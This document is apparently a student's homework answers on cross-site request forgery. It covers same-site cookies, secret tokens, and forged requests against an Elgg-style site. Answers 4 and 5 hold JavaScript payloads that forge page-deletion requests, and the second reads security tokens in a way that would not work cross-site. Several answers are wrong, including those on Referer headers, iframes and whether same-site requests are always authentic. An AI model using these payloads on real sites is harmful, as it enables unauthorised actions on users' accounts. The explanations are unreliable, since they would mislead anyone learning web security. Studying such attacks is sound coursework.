# QUESTION NO 1 :Explain why the same-site cookie can help prevent CSRF attacks.

## ANSWER:

Same site cookie has an attribute called Same-site whose value is strict, this is set by servers. The browser won’t be sent along with cross-site requests hence the server will detect the absence of cookie and won’t respond which eventually prevents the attack.

# QUESTION NO 2 :Explain how a website can use secret token to prevent CSRF attacks, and why does it work?

## ANSWER:

A secret token is a unique and unpredictable value generated by server-side application to prevent CSRF vulnerable resources. The tokens are generated and submitted by the server-side application in a subsequent HTTP request made by the client.

When a request is made the server-side checks and compares the two tokens, If the token is missing or doesn’t match the value of user session, the request gets rejected while ending the and logging the event as CSRF attack.

# QUESTION NO 3: These days, most of the websites use HTTPS, instead of HTTP. Do we still need to worry about CSRF attacks?

## ANSWER:

HTTPS is basically http but with encryption, the only difference between both protocols is that HTTPS uses SSL to encrypt normal HTTP requests and responses. Which encrypts the traffic between server and client but it doesn’t help much in detecting from where the information came from therefore CSRF attacks are still possible.

# QUESTION NO 4: Using LiveHTTPHeader, we find out that the following GET request is used to send an HTTP request to www.example.com to delete a page owned by a user (only the owner of a page can delete the page)

Please construct a simple malicious web page, so when a victim visits this web page, a forged request will be launched against www.example.com to delete a page belonging to the user

## ANSWER:

<script type="text/javascript"> window.onload = function () {

var Ajax=null;

var sendurl="http://www.example.com/delete.php?pageid=5";

Ajax=new XMLHttpRequest();

Ajax.open("GET",sendurl,true);

Ajax.setRequestHeader("Host","www.example.com");

Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

Ajax.send();

}

</script>

# QUESTION NO 5: Using LiveHTTPHeader, we find out that the following POST request is used to send an HTTP request to www.example.com to delete a page owned by a user (only the owner of a page can delete the page)

## ANSWER:

<script type="text/javascript"> window.onload = function () {

var ts="&\_\_elgg\_ts="+elgg.security.token.\_\_elgg\_ts;

var token="&\_\_elgg\_token="+elgg.security.token.\_\_elgg\_token; var content=ts+token+"&pageid=5"; var samyGuid=47; //FILL IN if(elgg.session.user.guid!=samyGuid)

{

var Ajax=new XMLHttpRequest();

var sendurl="http://www.example.com/delete.php";

Ajax.open("POST",sendurl,true);

Ajax.setRequestHeader("Host","www.example.com");

Ajax.setRequestHeader("Content-Type","application/x-www-formurlencoded"); Ajax.send(content);

}

}

</script>

# QUESTION NO 6: The forged HTTP request against Elgg in this chapter needs Boby’s user id (guid) to work properly. If Alice targets Boby specifically, before the attack, she needs to find ways to get Boby’s user id. Alice does not know Boby’s Elgg password, so she cannot log into Boby’s account to get the information. Please describe how Alice can find out Boby’s user id

## ANSWER:

CSRF attackers manipulate the current session of the user so, if the attacker is unable to get a current session, there will be no CSRF attack and it is not possible to perform this attack on another page. Another option is that Alice can use the members page source code to find out Body's user id.

# QUESTION NO 7: 7. In a request, there is an user id, which is a random number generated by the server. The ID information can be found from the user’s page from the server. If an attacker does not know this user ID, can he/she still launch an CSRF attack on this service?

## ANSWER:

No, it’s not possible to attack or forge a request without the id information because the content of other page can’t be read.

# QUESTION NO 8: If Alice would like to launch the attack on anybody who visits her malicious web page. In this case, she does not know who is visiting the web page before hand. (1) Can she still launch a CSRF attack to modify the victim’s Elgg profile? Please explain. (2) Can she launch a CSRF attack to add her to the victim’s friend list? Please explain.

## ANSWER:

No, Alice can’t launch a CSRF attack to for both things, because to perform the attack the attacker must know about method of HTTP request beforehand without this it is not possible to attack. Attacker investigates the HTTP request method then prepares the forge request in webpage with its own ID by doing this when the victim will click on page link, forged request will be triggered.

# QUESTION NO 9: When a web page sends a request to its server, the session ID is always attached in the cookie section of the HTTP header. A web application requires all the requests from its own page to also attach the session ID in its data part (for GET requests, the session ID is attached in the URL, while for POST requests, the session ID is included in the payload). This sounds redundant, because the session ID is already included in the request. However, by checking whether a request has the session ID in its data part, the web server can tell whether a request is a cross-site request or not. Please explain why

## ANSWER:

Yes, the web server can tell if the request is cross site or not because pages of different origin will not be able to access the content from this page and so they cannot attach the correct secret value.

# QUESTION NO 10: Do browsers know whether an HTTP request is cross-site or not?

## ANSWER:

Yes browsers know from where a request is generated or to which site the request is being sent too so after verification they can check if the domain of originating and sending is same or not and can detect a CSRF attack.

# QUESTION NO 11: Do servers know whether an HTTP request is cross-site or not?

## ANSWER:

Depends on how a server works if it attaches special tokens with the every page and checks it with every request the presence and absence of tokens can tell whether it’s a cross site request or not .

# QUESTION NO 12: Why cannot a web server use the referer header to tell whether a request is cross-site or not?

## ANSWER:

A web server can’t use a refer header server because a lot of servers remove refer header before sending the request to respect the privacy of users.

# QUESTION NO 13: Why is it important for a server to know whether a request is cross-site or not?

## ANSWER:

It is important because cross site requests can be forged whereas same site requests are always authentic.

# QUESTION NO 14: Can we simply ask browsers not to attach any cookie for cross-site requests?

## ANSWER:

No, we can’t ask this because a lot of cross site requests are genuine for example our email or Facebook credentials are used to login to many social sites i.e Instagram or food panda if cross site requests aren’t allowed these can never be authenticated.

# QUESTION NO 15: If a page from www.example.com contains an iframe, inside which a facebook page is displayed. If a request is sent from inside the iframe, is it considered as a cross-site request or not? If not, how can be this secured?

## ANSWER:

No, a request from within an iframe isn't considered a cross-site request.

This can be secured by using the X-Frame-Options header.

They can bet set to one of the following

* Deny
* Sameorigin
* Allow-from.

(Allow-form: takes a list of sites that are permitted to place the page in an iframe)